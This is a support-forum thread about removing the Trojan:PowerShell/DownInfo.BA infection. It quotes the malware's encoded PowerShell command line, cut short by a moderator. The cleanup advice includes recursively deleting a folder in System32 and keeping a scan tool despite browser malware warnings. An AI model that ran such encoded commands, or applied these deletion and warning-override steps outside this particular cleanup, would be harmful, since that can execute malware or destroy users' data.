Trojan:PowerShell/DownInfo.BA

Anonymous
2025-06-11T15:19:14+00:00

Hi, I was wondering if anyone could help me to fix the issue i am facing? It just happened about 2 hours ago when suddenly i got multiple pop ups from Windows Security.

Does anyone know how to fix this? Trojan:PowerShell/DownInfo.BA

CmdLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -EncodedCommand IwAgADcAMAA3ADcAMgBiAGQAOQAtADkANgAzAGMALQA0ADUAOAAzAC0AYQA3AGMANwAtADUAMAA3AGUANQAwADkAMwAwAGEAMAA2AAoAJABQAHIAb

Thank you in advance.

Andy

[command-line truncated ~moderator]

Windows for home | Windows 11 | Security and privacy

Locked Question. This question was migrated from the Microsoft Support Community. You can vote on whether it's helpful, but you can't add comments or replies or follow the question.

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Answer accepted by question author
Ramesh 181.2K Reputation points Volunteer Moderator
2025-06-11T15:34:07+00:00

A scheduled task triggers the command. Please do the following:

  1. Boot into Safe mode. https://support.microsoft.com/en-us/windows/windows-startup-settings-1af6ec8c-4d4a-4b23-adb7-e76eef0b847f

Open admin Command Prompt and run these commands:

  • netsh.exe winhttp reset proxy
  • bitsadmin /util /setieproxy localsystem NO_PROXY RESET
  • rd /s /q C:\Windows\system32\DomainAuthHost

Post the output.

  1. Share your Farbar scan logs for analysis.
  1. Download Farbar Recovery Scan Tool 64-bit (FRST64.exe)

https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

Note: If Microsoft Edge or Chrome mislabels the Farbar Scanner executable as PUA/malware, choose to keep it by tapping … in the bottom bar, choosing Keep, and then choosing Keep anyway in the dialog that appears.

See this screenshot: https://learn.microsoft.com/en-us/deployedge/media/microsoft-edge-security-download-interruptions/dowload-was-blocked.png. It's a safe tool used in most antimalware forums.

  1. If the OS language is not English, rename FRST64.exe to FRST64English.exe.
  2. Run the program. Don't check or uncheck any options. Click "Scan".
  3. Add the two logs, FRST.txt and Addition.txt, to a Zip archive, share them on OneDrive or GoFile.io and post the link here.

**************************************************************

Additional note:

The Trojan:PowerShell/DownInfo.BA threat detection was added to Defender on 6/10/2025 10:52 PM (in security intelligence version 1.429.460.0). That's the same day the latest cumulative update was released. This makes the users think the LCU caused this 'false-detection'. In reality, their systems were already infected, and the infection came to light after installing security intelligence update version 1.429.460.0 on June 10.

https://www.microsoft.com/en-us/wdsi/definitions/antimalware-definition-release-notes?requestVersion=1.429.460.0

**************************************************************

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  1. Anonymous
    2025-06-13T13:22:31+00:00

    A scheduled task triggers the command. Please share your Farbar scan logs for analysis.

    **************************************************************

    Hello

    here is File

    https://gofile.io/d/XJfIa7 Please help me

    @Ahmed Harb1

    Run this fixlist.

    • Download fixlist.txt
    • Save Fixlist.txt to the same folder as FRST64.exe.
    • Close all programs.
    • Launch the Farbar Scanner tool and click "Fix".
    • Restart Windows when prompted.
    • Upload the output log file (FixLog.txt) to your OneDrive.

    NOTE: The fixlist.txt script was written specifically for this user and for use on that particular machine. It is not recommended to run it on another machine, and don't run the same fixlist.txt more than once.

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  2. Anonymous
    2025-06-13T14:08:17+00:00

    Hi, I have same issue here. Can you help me fix it. File share below:

    File share: https://gofile.io/d/aujTJe
    Thanks.

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  3. Anonymous
    2025-06-13T14:15:06+00:00

    Hi, I have same issue here. Can you help me fix it. File share below:

    File share: https://gofile.io/d/aujTJe
    Thanks.

    Hi Andrico,

    Run this fixlist.txt

    Post Fixlog.txt

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  4. Anonymous
    2025-06-13T15:57:45+00:00

    A scheduled task triggers the command. Please share your Farbar scan logs for analysis.

     

    1. Download Farbar Recovery Scan Tool 64-bit (FRST64.exe)

    https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

      

    Note: If Microsoft Edge or Chrome mislabels the Farbar Scanner executable as PUA/malware, choose to keep it by tapping … in the bottom bar, choosing Keep, and then choosing Keep anyway in the dialog that appears.

    See this screenshot: https://learn.microsoft.com/en-us/deployedge/media/microsoft-edge-security-download-interruptions/dowload-was-blocked.png. It's a safe tool used in most antimalware forums.

     

    1. If the OS language is not English, rename FRST64.exe to FRST64English.exe.
    2. Run the program. Don't check or uncheck any options. Click "Scan".
    3. Add the two logs, FRST.txt and Addition.txt, to a Zip archive, share them on OneDrive or GoFile.io and post the link here.

    **************************************************************

    Additional note:

    The Trojan:PowerShell/DownInfo.BA threat detection was added to Defender on 6/10/2025 10:52 PM (in security intelligence version 1.429.460.0). That's the same day the latest cumulative update was released. This makes the users think the LCU caused this 'false-detection'. In reality, their systems were already infected, and the infection came to light after installing security intelligence update version 1.429.460.0 on June 10.

     

    https://www.microsoft.com/en-us/wdsi/definitions/antimalware-definition-release-notes?requestVersion=1.429.460.0

    **************************************************************

    Hi Ramesh,

    Thanks a lot for your work! Having the same problem here.

    https://gofile.io/d/Qja6wC

    Could you pls help me?

    Thanks a lot.

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